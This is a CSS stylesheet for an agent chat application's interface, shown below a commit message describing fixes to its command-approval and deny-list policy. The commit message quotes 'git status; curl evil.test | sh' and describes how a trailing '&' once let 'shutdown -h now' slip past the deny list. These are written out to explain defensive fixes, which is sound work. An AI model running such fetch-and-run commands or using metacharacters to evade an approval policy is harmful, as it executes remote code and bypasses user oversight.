Files
LLeMbas/src/lembas/web/static/css/chat.css
T
Jaroslav Beneš 7c51dc306d Four things that failed silently in an agent chat, and an account of the work
Each of the first four looked like it worked. That is what they have in
common, and why the tests are written against the property rather than the
markup.

**The job wrapper never cleaned up.** `jobs.py` interpolated `{log}` -- the
module logger -- where it meant `{logf}`, so every launch-and-wait wrapper
ended `rm -f ... <Logger ... (WARNING)> ...`, which is a shell syntax error.
It died after the sentinel, where nothing reads it, so commands still worked
while every one of them left four files on the far side forever, including
the log holding everything it printed. Every wrapper now goes through `sh -n`.

**The approval card could show something other than what ran.** The card did
a plain `json.loads` and showed `{}` on failure; `run_tool`'s own fallback
put the raw string into the tool's first required parameter, which for
`shell_run` is the command. So invalid JSON -- a normal path with small
models -- produced a card headed "Run a command" with an empty body, and
`policy.decide` was handed an empty command line matching neither list.
Arguments are parsed once now, in `tools.parse_arguments`, and the same dict
reaches the card, the policy and the runner.

**One character walked past the deny list.** `subject()` yields nothing for a
command line carrying a metacharacter, which is what stops `git *` also
meaning `git status; curl evil.test | sh`. The note said a deny list needed
no such care because failing open returns you to the mode -- true of Manual,
Edit and Plan, and false of Auto, where the mode is ALLOW. `shutdown -h now`
asked; `shutdown -h now &` ran.

**"Always allow this" allowed nothing.** The verdict was accepted, treated as
permitted, and stored nowhere. It now writes `Chat.scope_json["allow"]`, from
patterns derived server-side from the approved item -- the endpoint takes an
id and a verdict and nothing else -- and the list is shown in the scope menu
with a Clear beside it.

Two more found while fixing them:

**A reply could grow its request past the window with nothing watching.**
Compaction runs once, before the first round. The only other guard defaults
to a megabyte, larger than the window of nearly every model this talks to.
`_too_big` stops between rounds now, and the estimate it reads is recomputed
per round rather than once -- which is also what the metrics report on every
endpoint that sends no usage block.

**The harness ceiling was dropping AGENTS.md.** 8000 characters, against
~7,900 of fragments plus the 2,000 and 4,000 the index and instruction
budgets grant by default. `assemble` cuts the tail, so on a default install
the project listing was severed and the project's own instructions never
reached the model at all.

And, because an agent that works for ten minutes should be readable while it
does:

**Every action says what it is for.** `shell_run`, `file_write`, `file_edit`
and `job_stop` take a `why`: one line, carried onto the approval card above
the command and into the transcript's summary line rather than its collapsed
body. Auto mode is the case it exists for -- nothing stops for approval
there, so without it a reader watches a list of commands with no account of
any of them until the reply ends. Kept apart from the reason *we* stopped: an
explanation a reader takes for the application's own would be LLeMbas
vouching for text a model wrote.

**And the reply says what it is doing as it goes.** `core.objective` and
`core.narrate`, both agent-only. The second is deliberately the opposite of
`core.tools_preamble`'s "do not announce that you are about to", which is
right for a short answer -- read once it is finished -- and wrong for a long
piece of work, which is watched while it runs. It says so in its own words
rather than referring to a fragment an administrator may have cleared.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
2026-08-03 21:59:19 +02:00

1316 lines
40 KiB
CSS

/*
Chat thread, composer, message bodies and code blocks.
Loaded only on chat pages. Like app.css, every value resolves through
tokens.css.
*/
/* --- Thread --------------------------------------------------------------- */
.thread-scroll {
flex: 1;
overflow-y: auto;
scroll-behavior: smooth;
scrollbar-width: thin;
scrollbar-color: var(--border-strong) transparent;
}
.thread {
max-width: var(--thread-max-width);
margin: 0 auto;
padding: var(--sp-6) var(--sp-5) var(--sp-8);
display: flex;
flex-direction: column;
gap: var(--sp-6);
}
.thread__intro {
display: grid;
place-items: center;
gap: var(--sp-3);
text-align: center;
padding: var(--sp-12) 0 var(--sp-6);
}
/* --- Messages ------------------------------------------------------------- */
.msg {
display: grid;
grid-template-columns: 2rem 1fr;
gap: var(--sp-3);
align-items: start;
}
.msg__gutter {
display: grid;
place-items: center;
width: 2rem;
height: 2rem;
border-radius: var(--radius-full);
overflow: hidden;
}
.msg__mark { width: 2rem; height: 2rem; }
.msg__avatar { width: 2rem; height: 2rem; border-radius: var(--radius); }
.msg__initial {
width: 2rem; height: 2rem;
display: grid;
place-items: center;
border-radius: var(--radius-full);
background: var(--surface-active);
color: var(--ink-muted);
font-size: var(--text-sm);
font-weight: 600;
}
.msg__main { min-width: 0; }
.msg__meta {
display: flex;
align-items: baseline;
gap: var(--sp-2);
margin-bottom: var(--sp-1);
}
.msg__author {
font-family: var(--font-display);
font-size: var(--text-base);
font-weight: 600;
}
.msg__model {
font-size: var(--text-xs);
color: var(--ink-faint);
font-family: var(--font-mono);
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap;
max-width: 16rem;
}
.msg__body {
line-height: var(--leading-relaxed);
overflow-wrap: break-word;
}
/* User turns and mid-stream assistant text are plain text, so newlines and
runs of spaces have to survive. */
.msg__body--plain { white-space: pre-wrap; }
.msg--user .msg__body--plain {
background: var(--bubble-user);
padding: var(--sp-3) var(--sp-4);
border-radius: var(--radius-lg);
display: inline-block;
max-width: 100%;
}
.msg__error { margin: var(--sp-2) 0; align-items: flex-start; }
/* --- Streaming indicator -------------------------------------------------- */
/* Shown until the first token arrives, then hidden by the sibling selector
below -- no JavaScript involved in either direction. */
.msg__waiting { padding: var(--sp-2) 0; }
.dots { display: inline-flex; gap: 0.25rem; align-items: center; }
.dots i {
width: 0.4rem;
height: 0.4rem;
border-radius: var(--radius-full);
background: var(--ink-faint);
animation: dot-pulse 1.3s ease-in-out infinite;
}
.dots i:nth-child(2) { animation-delay: 0.18s; }
.dots i:nth-child(3) { animation-delay: 0.36s; }
@keyframes dot-pulse {
0%, 60%, 100% { opacity: 0.28; transform: translateY(0); }
30% { opacity: 1; transform: translateY(-2px); }
}
/* A caret trailing the text while it streams. Attached to the last block so it
sits at the end of the prose rather than on a line of its own. */
.msg__body--live:not(:empty) > :last-child::after {
content: "";
display: inline-block;
width: 0.45rem;
height: 1.05em;
margin-left: 1px;
vertical-align: text-bottom;
background: var(--leaf);
opacity: 0.75;
animation: caret 1.05s steps(1) infinite;
}
@keyframes caret { 0%, 49% { opacity: 0.75; } 50%, 100% { opacity: 0; } }
/* --- Reasoning ------------------------------------------------------------ */
.reasoning {
margin: 0 0 var(--sp-3);
border: 1px solid var(--border);
border-radius: var(--radius);
background: color-mix(in srgb, var(--surface) 70%, transparent);
font-size: var(--text-sm);
}
/*
A live block is emitted before the first token arrives, and plenty of models
emit no reasoning at all. Hiding it until it has content means those models
never show an empty "Thinking" box, and no JavaScript is involved either way.
*/
.reasoning--live:not(:has(.reasoning__body:not(:empty))) { display: none; }
.reasoning__summary {
display: flex;
align-items: center;
gap: var(--sp-2);
padding: var(--sp-2) var(--sp-3);
cursor: pointer;
color: var(--ink-muted);
list-style: none;
user-select: none;
border-radius: var(--radius);
}
.reasoning__summary::-webkit-details-marker { display: none; }
.reasoning__summary:hover { color: var(--ink); background: var(--surface-hover); }
/* --- Compacted turns -------------------------------------------------------
Summarised messages, kept and readable but out of the way. Collapsed by
default: the point of compacting was that they stopped mattering.
*/
.compacted {
border: 1px dashed var(--border-strong);
border-radius: var(--radius);
background: color-mix(in srgb, var(--surface) 50%, transparent);
}
.compacted__summary {
display: flex;
align-items: center;
gap: var(--sp-2);
padding: var(--sp-2) var(--sp-3);
cursor: pointer;
color: var(--ink-muted);
font-size: var(--text-sm);
list-style: none;
user-select: none;
}
.compacted__summary::-webkit-details-marker { display: none; }
.compacted__summary:hover { color: var(--ink); }
.compacted[open] .reasoning__chevron { transform: rotate(180deg); }
.compacted__note {
margin: 0;
padding: 0 var(--sp-3);
font-size: var(--text-xs);
color: var(--ink-faint);
line-height: var(--leading-normal);
}
.compacted__body {
display: flex;
flex-direction: column;
gap: var(--sp-6);
padding: var(--sp-4) var(--sp-3);
opacity: 0.75;
}
/* --- Suggestions -----------------------------------------------------------
Starting points on the empty screen. Cards rather than a list, because they
are things to press.
*/
.suggestions {
display: grid;
grid-template-columns: repeat(auto-fit, minmax(13rem, 1fr));
gap: var(--sp-3);
width: 100%;
max-width: 40rem;
margin-top: var(--sp-6);
text-align: left;
}
.suggestion {
display: flex;
flex-direction: column;
gap: var(--sp-1);
padding: var(--sp-3) var(--sp-4);
border: 1px solid var(--border);
border-radius: var(--radius-lg);
background: var(--surface);
color: var(--ink);
cursor: pointer;
text-align: left;
transition: background var(--transition-fast), border-color var(--transition-fast);
}
.suggestion:hover { background: var(--surface-hover); border-color: var(--border-strong); }
.suggestion:focus-visible { outline: 2px solid var(--accent); outline-offset: 2px; }
.suggestion__name { font-weight: 600; font-size: var(--text-sm); }
.suggestion__note {
font-size: var(--text-xs);
color: var(--ink-muted);
line-height: var(--leading-normal);
}
/* Something is happening to the whole thread rather than to one message --
compaction, which makes a model call and can take a while. Shaped like a
turn so it sits in the column rather than floating over it. */
.thread__working {
display: flex;
align-items: center;
gap: var(--sp-3);
padding: var(--sp-3) 0;
color: var(--ink-muted);
font-size: var(--text-sm);
}
/* --- Metrics ---------------------------------------------------------------
What a reply cost, under the bubble. Quiet by default: it is reference, not
something to read every time.
*/
.msg__metrics {
display: flex;
align-items: center;
flex-wrap: wrap;
gap: var(--sp-3);
margin-top: var(--sp-2);
font-size: var(--text-xs);
color: var(--ink-faint);
font-variant-numeric: tabular-nums;
}
.msg__metrics:empty { display: none; }
.metric { display: inline-flex; align-items: center; gap: var(--sp-1); cursor: default; }
.metric__bar {
display: inline-block;
width: 3rem;
height: 0.3rem;
border-radius: var(--radius-full);
background: var(--surface-active);
overflow: hidden;
}
.metric__fill {
display: block;
height: 100%;
background: var(--ink-faint);
transition: width var(--transition);
}
.metric--context.is-warning { color: var(--warning); }
.metric--context.is-warning .metric__fill { background: var(--warning); }
.metric--context.is-danger { color: var(--danger); }
.metric--context.is-danger .metric__fill { background: var(--danger); }
.reasoning__icon { color: var(--leaf); flex: none; }
.reasoning__label { flex: 1; font-style: italic; }
.reasoning__chevron {
flex: none;
transition: transform var(--transition-fast);
}
.reasoning[open] .reasoning__chevron { transform: rotate(180deg); }
.reasoning__body {
padding: 0 var(--sp-3) var(--sp-3);
margin-left: var(--sp-2);
border-left: 2px solid var(--border-strong);
padding-left: var(--sp-3);
white-space: pre-wrap;
color: var(--ink-muted);
font-size: var(--text-sm);
line-height: var(--leading-relaxed);
max-height: 26rem;
overflow-y: auto;
scrollbar-width: thin;
}
/* Gentle pulse on the icon while thinking is still streaming. */
.reasoning--live .reasoning__icon { animation: think-pulse 1.6s ease-in-out infinite; }
@keyframes think-pulse {
0%, 100% { opacity: 0.45; }
50% { opacity: 1; }
}
/* --- Tool activity --------------------------------------------------------
Deliberately the same object as the reasoning block: both answer "what did
it do before it replied", and giving them two visual languages would suggest
a difference that is not there. */
.tool-activity-list:empty { display: none; }
.tool-activity {
margin: 0 0 var(--sp-3);
border: 1px solid var(--border);
border-radius: var(--radius);
background: color-mix(in srgb, var(--surface) 70%, transparent);
font-size: var(--text-sm);
}
.tool-activity--error { border-color: var(--danger); }
.tool-activity__summary {
display: flex;
align-items: center;
gap: var(--sp-2);
padding: var(--sp-2) var(--sp-3);
cursor: pointer;
color: var(--ink-muted);
list-style: none;
user-select: none;
border-radius: var(--radius);
}
.tool-activity__summary::-webkit-details-marker { display: none; }
.tool-activity__summary:hover { color: var(--ink); background: var(--surface-hover); }
.tool-activity__icon { color: var(--leaf); flex: none; }
.tool-activity__label { flex: 1; min-width: 0; }
.tool-activity__count { color: var(--ink-faint); }
/* The model's own account of what a call is for, under the command it belongs
to. `display: block` inside the flex row's label, so the icon and the chevron
stay centred against both lines. */
.tool-activity__why {
display: block;
color: var(--ink-faint);
font-size: var(--text-xs);
}
.tool-activity[open] .reasoning__chevron { transform: rotate(180deg); }
.tool-activity__body {
padding: 0 var(--sp-3) var(--sp-3);
display: flex;
flex-direction: column;
gap: var(--sp-3);
}
.tool-activity__error { margin: 0; color: var(--ink-muted); }
.tool-result {
display: flex;
flex-direction: column;
gap: 2px;
padding-left: var(--sp-3);
border-left: 2px solid var(--border-strong);
min-width: 0;
}
.tool-result__title {
color: var(--accent);
font-weight: 500;
overflow-wrap: anywhere;
}
.tool-result__host { color: var(--ink-faint); font-size: var(--text-xs); }
.tool-result__snippet {
margin: 0;
color: var(--ink-muted);
line-height: var(--leading-relaxed);
}
/* What a tool returned, verbatim. Preformatted rather than rendered: this is
third-party text and markdown is the one path allowed to emit HTML. */
.tool-result__text {
margin: 0;
padding: var(--sp-3);
border-radius: var(--radius-sm);
background: var(--bg-sunken);
color: var(--ink-muted);
font-family: var(--font-mono);
font-size: var(--text-xs);
line-height: var(--leading-relaxed);
white-space: pre-wrap;
overflow-wrap: anywhere;
max-height: 22em;
overflow-y: auto;
}
/* A diff, from a write or an update.
The same visual language as .tool-result__text above -- both answer "what did
it do", and two languages would suggest a difference that is not there. The
colours are --success and --danger rather than anything new: --success is
deliberately a different hue from --leaf so an added line does not read as the
brand accent, and --danger is already what an error border uses, so a removed
line reads as removed rather than as broken.
The padding is on the line, not on the block, so a highlighted row runs the
full width instead of stopping short of the rounded corner. */
.diff {
margin: 0;
padding: var(--sp-2) 0;
border-radius: var(--radius-sm);
background: var(--bg-sunken);
font-family: var(--font-mono);
font-size: var(--text-xs);
line-height: var(--leading-relaxed);
max-height: 26em;
overflow: auto;
}
.diff__line {
display: block;
padding: 0 var(--sp-3);
white-space: pre-wrap;
overflow-wrap: anywhere;
}
.diff__line--add { background: var(--success-soft); color: var(--success); }
.diff__line--del { background: var(--danger-soft); color: var(--danger); }
.diff__line--meta { color: var(--ink-faint); }
.diff__line--ctx { color: var(--ink-muted); }
/* --- The model asking you something --------------------------------------- */
/* Attributed to the model on purpose. A card styled like the application is a
card people answer with things they would not tell a chatbot. */
.interaction {
display: flex;
flex-direction: column;
gap: var(--sp-3);
margin: var(--sp-3) 0;
padding: var(--sp-4);
border: 1px solid var(--accent);
border-radius: var(--radius-md);
background: var(--surface);
}
.interaction__from {
display: flex;
align-items: center;
gap: var(--sp-2);
margin: 0;
color: var(--ink-faint);
font-size: var(--text-xs);
text-transform: uppercase;
letter-spacing: 0.06em;
}
.interaction__form { display: flex; flex-direction: column; gap: var(--sp-4); }
/* One block per question. Several go on one card and submit together. */
.interaction__question {
display: flex;
flex-direction: column;
gap: var(--sp-2);
margin: 0;
padding: 0;
border: 0;
min-width: 0;
}
.interaction__question + .interaction__question {
padding-top: var(--sp-4);
border-top: 1px solid var(--border);
}
.interaction__title { margin: 0; padding: 0; color: var(--ink); font-weight: 500; }
.interaction__options { display: flex; flex-wrap: wrap; gap: var(--sp-2); }
.interaction__note { color: var(--ink-faint); font-size: var(--text-xs); }
/* An option. A radio, so picking one unpicks the last, but shaped like the
button it reads as. */
.chip { position: relative; display: inline-flex; }
.chip input {
position: absolute;
inset: 0;
opacity: 0;
cursor: pointer;
margin: 0;
}
.chip span {
display: inline-flex;
align-items: center;
min-height: var(--control-h);
padding: 0 var(--sp-3);
border: 1px solid var(--border-strong);
border-radius: var(--radius-sm);
background: var(--surface-raised);
color: var(--ink-muted);
font-size: var(--text-sm);
}
.chip input:hover + span { background: var(--surface-hover); color: var(--ink); }
.chip input:checked + span {
border-color: var(--accent);
background: var(--surface-active);
color: var(--ink);
}
.chip input:focus-visible + span { outline: 2px solid var(--accent); outline-offset: 2px; }
.interaction__detail {
margin: 0;
padding: var(--sp-3);
border-radius: var(--radius-sm);
background: var(--bg-sunken);
font-family: var(--font-mono);
font-size: var(--text-xs);
white-space: pre-wrap;
overflow-wrap: anywhere;
}
.interaction__reason { margin: 0; color: var(--ink-muted); font-size: var(--text-xs); }
/* The model's account of what it is about to do. Above the command and quieter
than the title, so the command stays the thing being agreed to. */
.interaction__purpose { margin: 0; color: var(--ink-muted); font-size: var(--text-sm); }
.interaction__actions {
display: flex;
flex-wrap: wrap;
gap: var(--sp-2);
align-items: center;
}
.interaction__write { display: flex; gap: var(--sp-2); flex: 1 1 16rem; min-width: 0; }
.interaction__write .input { flex: 1; min-width: 0; }
/* --- Stop, notes and editing ---------------------------------------------- */
.msg__status { font-size: var(--text-xs); color: var(--ink-faint); font-style: italic; }
.msg__status:empty { display: none; }
.msg__waiting {
display: flex;
align-items: center;
gap: var(--sp-3);
padding: var(--sp-2) 0;
}
/* Once the answer has content the caret carries the "still going" signal, so
the dots go, but Stop must stay reachable until the stream ends. */
.msg__body--live:not(:empty) + .msg__waiting .dots { display: none; }
/* Send and Stop are one button. Which icon shows is decided here rather than
in JavaScript, so the state is visible in the markup and the swap is free. */
.composer__icon { display: flex; }
[data-composer-action="send"] .composer__icon--stop,
[data-composer-action="stop"] .composer__icon--send { display: none; }
.composer__btn[data-composer-action="stop"] {
background: var(--danger);
border-color: var(--danger);
color: var(--ink-inverse);
}
.composer__btn[data-composer-action="stop"]:hover:not(:disabled) {
background: var(--danger-hover);
border-color: var(--danger-hover);
}
/* The microphone is the same shape: one button, state in a data attribute. */
[data-mic-state="idle"] .composer__icon--recording,
[data-mic-state="working"] .composer__icon--recording,
[data-mic-state="recording"] .composer__icon--mic { display: none; }
.composer__mic[data-mic-state="recording"] {
background: var(--danger);
border-color: var(--danger);
color: var(--ink-inverse);
animation: mic-pulse 1.6s ease-in-out infinite;
}
@keyframes mic-pulse {
0%, 100% { box-shadow: 0 0 0 0 var(--accent-soft); }
50% { box-shadow: 0 0 0 5px transparent; }
}
/* Play and stop on the read-aloud button, chosen by the class audio.js sets. */
.speak__icon { display: flex; }
[data-speak] .speak__icon--stop,
[data-speak].is-speaking .speak__icon--play { display: none; }
[data-speak].is-speaking .speak__icon--stop { display: flex; }
[data-speak].is-speaking { color: var(--accent); }
.composer__stop-square {
width: 0.7rem;
height: 0.7rem;
border-radius: 2px;
background: currentColor;
}
.msg__note {
display: flex;
align-items: center;
gap: var(--sp-1);
margin: var(--sp-2) 0 0;
font-size: var(--text-xs);
color: var(--ink-faint);
font-style: italic;
}
.msg--editing .msg__main { width: 100%; }
.edit-form { display: flex; flex-direction: column; gap: var(--sp-3); }
.edit-form .textarea { min-height: 4rem; }
/* --- Message actions ------------------------------------------------------ */
.msg__actions {
display: flex;
gap: var(--sp-1);
margin-top: var(--sp-2);
opacity: 0;
transition: opacity var(--transition-fast);
}
.msg:hover .msg__actions,
.msg:focus-within .msg__actions { opacity: 1; }
.msg__actions .is-copied { color: var(--success); }
/* --- A turn that is waiting to be sent ------------------------------------
Its actions do not fade in on hover like the others: they are the only way
to withdraw something that has not happened yet, and a control you have to
find by hovering is one somebody will not find. */
.msg--queued { opacity: 0.75; }
.msg--queued .msg__body {
border-inline-start: 2px dashed var(--border-strong);
padding-inline-start: var(--sp-2);
}
.msg__actions--queued { opacity: 1; align-items: center; }
.msg__note {
display: inline-flex;
align-items: center;
gap: var(--sp-1);
color: var(--ink-muted);
font-size: var(--text-xs);
}
/* --- Rendered Markdown ---------------------------------------------------- */
.msg__body > :first-child { margin-top: 0; }
.msg__body > :last-child { margin-bottom: 0; }
.msg__body h1, .msg__body h2, .msg__body h3,
.msg__body h4, .msg__body h5, .msg__body h6 {
margin: var(--sp-5) 0 var(--sp-2);
}
.msg__body h1 { font-size: var(--text-xl); }
.msg__body h2 { font-size: var(--text-lg); }
.msg__body h3 { font-size: var(--text-md); }
.msg__body ul, .msg__body ol { margin: 0 0 var(--sp-4); padding-left: var(--sp-6); }
.msg__body li { margin-bottom: var(--sp-1); }
.msg__body blockquote {
margin: 0 0 var(--sp-4);
padding: var(--sp-1) var(--sp-4);
border-left: 3px solid var(--border-strong);
color: var(--ink-muted);
font-style: italic;
}
.msg__body hr { border: 0; border-top: 1px solid var(--border); margin: var(--sp-5) 0; }
.msg__body :not(pre) > code {
font-family: var(--font-mono);
font-size: 0.875em;
padding: 0.13em 0.36em;
border-radius: var(--radius-sm);
background: var(--code-bg);
border: 1px solid var(--code-border);
}
.msg__body table {
width: 100%;
border-collapse: collapse;
margin: 0 0 var(--sp-4);
font-size: var(--text-sm);
display: block;
overflow-x: auto;
}
.msg__body th, .msg__body td {
border: 1px solid var(--border);
padding: var(--sp-2) var(--sp-3);
text-align: left;
}
.msg__body th { background: var(--surface); font-weight: 600; }
.msg__body img { max-width: 100%; height: auto; border-radius: var(--radius); }
/* --- Code blocks ---------------------------------------------------------- */
.code-block {
margin: 0 0 var(--sp-4);
border: 1px solid var(--code-border);
border-radius: var(--radius);
background: var(--code-bg);
overflow: hidden;
}
.code-block__label {
padding: var(--sp-1) var(--sp-3);
font-family: var(--font-mono);
font-size: var(--text-xs);
color: var(--ink-faint);
border-bottom: 1px solid var(--code-border);
background: color-mix(in srgb, var(--code-bg) 60%, var(--surface));
}
.code-block__pre {
margin: 0;
padding: var(--sp-3) var(--sp-4);
overflow-x: auto;
font-family: var(--font-mono);
font-size: var(--text-sm);
line-height: 1.55;
}
.code-block__pre code { font-family: inherit; background: none; border: 0; padding: 0; }
/*
Pygments token colours, mapped onto theme tokens rather than a fixed scheme,
so code follows the active theme. classprefix "pg-" is set in markdown.py.
*/
.pg-c, .pg-c1, .pg-cm, .pg-cs, .pg-cp { color: var(--ink-faint); font-style: italic; }
/* Keywords take --warning, not the brand accent: strings are already green, and
two greens in one code block is not a colour scheme, it is a bug report. */
.pg-k, .pg-kn, .pg-kd, .pg-kc, .pg-kr, .pg-kt { color: var(--warning); }
.pg-s, .pg-s1, .pg-s2, .pg-sb, .pg-sd, .pg-se, .pg-sh, .pg-si, .pg-sx { color: var(--success); }
.pg-m, .pg-mi, .pg-mf, .pg-mh, .pg-mo { color: var(--danger); }
.pg-nf, .pg-nd { color: var(--accent); }
.pg-nc, .pg-nn { color: var(--accent-hover); font-weight: 600; }
.pg-nb, .pg-bp { color: var(--accent); }
.pg-nv, .pg-vi, .pg-vg, .pg-vc { color: var(--ink); }
.pg-o, .pg-ow, .pg-p { color: var(--ink-muted); }
.pg-err { color: var(--danger); }
.pg-gd { color: var(--danger); }
.pg-gi { color: var(--success); }
/* --- Composer ------------------------------------------------------------- */
.composer {
flex: none;
padding: var(--sp-3) var(--sp-5) var(--sp-4);
border-top: 1px solid var(--border);
background: var(--bg);
}
/* position: relative anchors the `@` and `/` menu to the box. */
.composer__inner {
position: relative;
max-width: var(--thread-max-width);
margin: 0 auto;
}
/*
A column: chips, then the text across the full width, then one toolbar row.
The text gets its own row rather than sharing one with the buttons, which is
what lets the toolbar hold more than two controls without the input shrinking
to nothing. The chips stay inside the form so their hidden file_ids inputs are
submitted with the message.
*/
.composer__form {
display: flex;
flex-direction: column;
gap: var(--sp-1);
padding: var(--sp-2);
border: 1px solid var(--border);
border-radius: var(--radius-xl);
background: var(--surface);
transition: border-color var(--transition-fast), box-shadow var(--transition-fast);
}
.composer__form:focus-within {
border-color: var(--accent);
box-shadow: var(--ring);
}
/*
The text, and the mirror behind it.
Every property that affects where a character lands is declared once, on both
-- font, size, line height, padding, wrapping. A single difference and the
rectangles slide off the words they are marking. `font: inherit` on the
textarea is not enough: a textarea's default font is not the page's.
*/
.composer__field { position: relative; }
.composer__input,
.composer__mirror {
width: 100%;
min-width: 0;
margin: 0;
padding: var(--sp-2) var(--sp-2) var(--sp-1);
border: 0;
font-family: var(--font-body);
font-size: var(--text-base);
line-height: var(--leading-normal);
letter-spacing: normal;
white-space: pre-wrap;
overflow-wrap: break-word;
word-break: normal;
max-height: 20rem;
}
.composer__input {
position: relative;
display: block;
background: none;
resize: none;
color: var(--ink);
overflow-y: auto;
}
.composer__input:focus { outline: none; }
/* Behind, and contributing nothing but background rectangles: its own text is
transparent, so the glyphs on screen are always the textarea's. That is what
makes a pixel of drift invisible rather than a doubled letter. */
.composer__mirror {
position: absolute;
inset: 0;
z-index: 0;
overflow: hidden;
color: transparent;
pointer-events: none;
user-select: none;
}
.composer__mirror .tok-mention,
.composer__mirror .tok-command {
border-radius: var(--radius-sm);
/* Restated rather than inherited. `color: transparent` on the mirror is an
inherited value, and a colour the span declares itself beats it -- which is
exactly what the transcript's rule below used to do from across the file,
painting the token in accent-coloured mono at 0.95em on top of the
textarea's own text. Doubled, and shifted from there on, because the
metrics differ. The font must be restated for the same reason. */
color: transparent;
font: inherit;
/* Bled sideways by a shadow, not by padding: a rectangle that spreads cannot
move a glyph, and the negative margin that used to do this was the only
thing in the mirror that could. */
padding: 0;
margin: 0;
}
.composer__mirror .tok-mention {
background: var(--accent-soft);
box-shadow: 0 0 0 2px var(--accent-soft);
}
.composer__mirror .tok-command {
background: var(--leaf-soft);
box-shadow: 0 0 0 2px var(--leaf-soft);
}
/* The same two in a sent message, where they are text rather than a backdrop --
and scoped to it, because unscoped they also matched the mirror's spans. */
.msg .tok-mention {
border-radius: var(--radius-sm);
padding: 0 2px;
background: var(--accent-soft);
color: var(--accent);
font-family: var(--font-mono);
font-size: 0.95em;
}
/* Everything that acts on the message, on one line under it. ONE line, always.
It used to wrap, and .composer__actions is last in the DOM with
margin-left:auto -- so the moment an agent chat added a connection, a
directory and a mode to this row, Send and the microphone were what dropped
to a second line. There are no media queries in this file, deliberately, and
the fix is not to add one: it is to say which child gives. */
.composer__toolbar {
display: flex;
align-items: center;
flex-wrap: nowrap;
gap: var(--sp-2);
min-width: 0;
}
.composer__tools { display: flex; align-items: center; gap: var(--sp-1); flex: none; }
/* Never shrinks, never wraps, always at the end of the line. This is where the
hand is going. */
.composer__actions {
display: flex;
align-items: center;
gap: var(--sp-1);
flex: none;
margin-left: auto;
}
[data-effort] { flex: none; }
/* The one thing allowed to give. It shrinks past its content and scrolls
sideways rather than wrapping. The scrollbar is hidden: the controls are
already visibly cut off, and a scrollbar under a --control-h row would change
the row's height, which is the one thing --control-h exists to prevent. */
.composer__context {
display: flex;
align-items: center;
flex-wrap: nowrap;
gap: var(--sp-2);
flex: 1 1 auto;
min-width: 0;
overflow-x: auto;
scrollbar-width: none;
}
.composer__context::-webkit-scrollbar { display: none; }
.composer__agent { display: flex; align-items: center; gap: var(--sp-2); flex-wrap: nowrap; }
/* Floors, not fixed widths: a select narrower than this shows no text at all,
which is worse than the scrolling it was avoiding. */
.composer__context .select { flex: 0 1 auto; min-width: 6rem; }
/* `.segmented` already declares flex: none further down, where it is defined. */
/* Round, and the same size as each other: attach and send read as one pair
bracketing the row. */
.composer__btn { flex: none; border-radius: var(--radius-full); }
/* The directory, on a new chat. Monospace because it is a path, and it grows
to fit rather than being pinned to a width that truncates every real one. */
.composer__dir {
flex: 0 1 16rem;
min-width: 5rem;
font-family: var(--font-mono);
font-weight: 400;
}
.composer__dir-path { overflow: hidden; text-overflow: ellipsis; white-space: nowrap; }
.composer__hint {
margin: var(--sp-2) 0 0;
font-size: var(--text-xs);
color: var(--ink-faint);
text-align: center;
}
.composer__hint-link {
border: 0;
padding: 0;
background: none;
font: inherit;
color: var(--ink-muted);
text-decoration: underline dotted;
text-underline-offset: 2px;
cursor: pointer;
}
.composer__hint-link:hover { color: var(--accent); }
/*
The menu `@` and `/` open.
Above the composer, not below it: the composer is already at the bottom of
the window, so anything dropping down would be off screen -- the same reason
the attach menu is `picker--up`. Anchored to .composer__inner so it lines up
with the box rather than with the caret; a caret-following menu is nicer and
needs measuring text in a textarea, which cannot be done without a hidden
mirror element.
*/
.composer-menu {
position: absolute;
bottom: calc(100% + var(--sp-2));
left: 0;
right: 0;
z-index: var(--z-dropdown);
max-height: min(20rem, 45vh);
overflow-y: auto;
scrollbar-width: thin;
border: 1px solid var(--border);
border-radius: var(--radius-lg);
background: var(--surface-raised);
box-shadow: var(--shadow-lg);
}
/* What the keys do, pinned to the bottom of the menu. */
.composer-menu__keys {
position: sticky;
bottom: 0;
padding: var(--sp-1) var(--sp-3);
border-top: 1px solid var(--border);
background: var(--surface-raised);
color: var(--ink-faint);
font-size: var(--text-xs);
white-space: nowrap;
overflow: hidden;
text-overflow: ellipsis;
}
.picker__group {
margin: 0;
padding: var(--sp-2) var(--sp-3) var(--sp-1);
font-size: var(--text-xs);
font-weight: 600;
letter-spacing: 0.04em;
text-transform: uppercase;
color: var(--ink-faint);
}
/* One thing this chat has been told to stop asking about. Monospace because an
entry is usually a command line, and it is worth being able to read back
exactly what was agreed to. */
.picker__allow-entry {
margin: 0;
padding: 0 var(--sp-3) var(--sp-1);
font-family: var(--font-mono);
font-size: var(--text-xs);
color: var(--ink-muted);
overflow-wrap: anywhere;
}
/* The help and usage sheets. */
.sheet { width: 100%; border-collapse: collapse; font-size: var(--text-sm); }
.sheet td { padding: var(--sp-1) var(--sp-2); vertical-align: top; }
.sheet td:first-child { white-space: nowrap; color: var(--ink-muted); width: 1%; }
.sheet tr + tr td { border-top: 1px solid var(--border); }
/* --- Folders -------------------------------------------------------------- */
.folder__row { padding-right: var(--sp-1); }
.folder__toggle {
display: flex;
align-items: center;
gap: var(--sp-2);
flex: 1;
min-width: 0;
background: none;
border: 0;
padding: 0;
color: inherit;
font: inherit;
cursor: pointer;
text-align: left;
}
.folder__chevron {
display: inline-flex;
transition: transform var(--transition-fast);
}
.folder__chevron.is-open { transform: rotate(90deg); }
.folder__contents { padding-left: var(--sp-4); }
.nav-item__link {
display: flex;
align-items: center;
gap: var(--sp-2);
flex: 1;
min-width: 0;
color: inherit;
text-decoration: none;
}
/* --- Attachment chips (composer) ------------------------------------------
Named `attach-chip` and not `chip`, which is the radio pill above. The two
were both called `.chip` and both set padding, border and max-width, so the
later block won and the Chat/Agent pills silently inherited the padding of
an attachment card. Two components with one name is a collision, not a
family. */
.composer { position: relative; }
.composer__attachments {
display: flex;
flex-wrap: wrap;
gap: var(--sp-2);
padding: var(--sp-1) var(--sp-1) 0;
}
.composer__attachments:empty { display: none; }
.attach-chip {
display: flex;
align-items: center;
gap: var(--sp-2);
padding: var(--sp-2);
border: 1px solid var(--border);
border-radius: var(--radius);
background: var(--surface);
max-width: 20rem;
font-size: var(--text-sm);
}
.attach-chip--error { border-color: var(--danger); background: var(--danger-soft); }
.attach-chip--error .attach-chip__icon { color: var(--danger); }
.attach-chip__thumb {
display: block;
width: 2.25rem;
height: 2.25rem;
border-radius: var(--radius-sm);
object-fit: cover;
flex: none;
}
